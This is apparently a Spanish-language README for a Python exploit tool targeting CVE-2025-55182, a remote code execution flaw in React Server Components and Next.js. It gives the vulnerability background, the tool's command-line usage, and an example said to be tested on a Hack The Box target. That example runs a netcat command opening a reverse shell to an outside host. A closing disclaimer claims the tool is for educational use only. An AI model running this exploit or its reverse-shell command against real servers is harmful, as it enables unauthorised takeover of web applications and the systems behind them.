CVE-2025-55182-React2Shell

xpl0ited by infrar3d

Una vulnerabilidad de gravedad crítica 10.0 que afecta el uso del lado del servidor de React.js, registrada como CVE-2025-55182 en React.js y CVE-2025-66478 específicamente para el framework Next.js.

Esta vulnerabilidad fue divulgada de manera responsable por Lachlan Davidson el 29 de noviembre de 2025 PT al equipo de Meta. La divulgación inicial y el lanzamiento del parche fueron realizados por React y Vercel el 3 de diciembre de 2025 PT. (Original: https://react2shell.com/)

Uso:

python3 CVE-2025-55182.py --help 
usage: python CVE-2025-55182.py -u <URL> [-c COMMAND]

CVE-2025-55182 - React Server Components RCE Exploit

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (required)
  -c, --command COMMAND
                        Command to execute on target (default: id)

Example: python CVE-2025-55182.py -u http://target.com -c "whoami"

Ejemplo (probado en tarea HTB):

python3 CVE-2025-55182.py -u http://154.57.164.73:30507 -c "nc 10.0.2.4 4444 -e sh"

⚠️ Aviso legal ⚠️

Este software y el código de prueba de concepto se proporcionan solo con fines educativos y de investigación.

• Los autores no son responsables de ningún uso indebido o daño causado por este programa.
• No lo use contra ningún sistema sin permiso previo explícito.
• El uso de esta herramienta para atacar objetivos sin consentimiento es ilegal.

Usted es responsable de cumplir con todas las leyes aplicables. Úselo ética y responsablemente.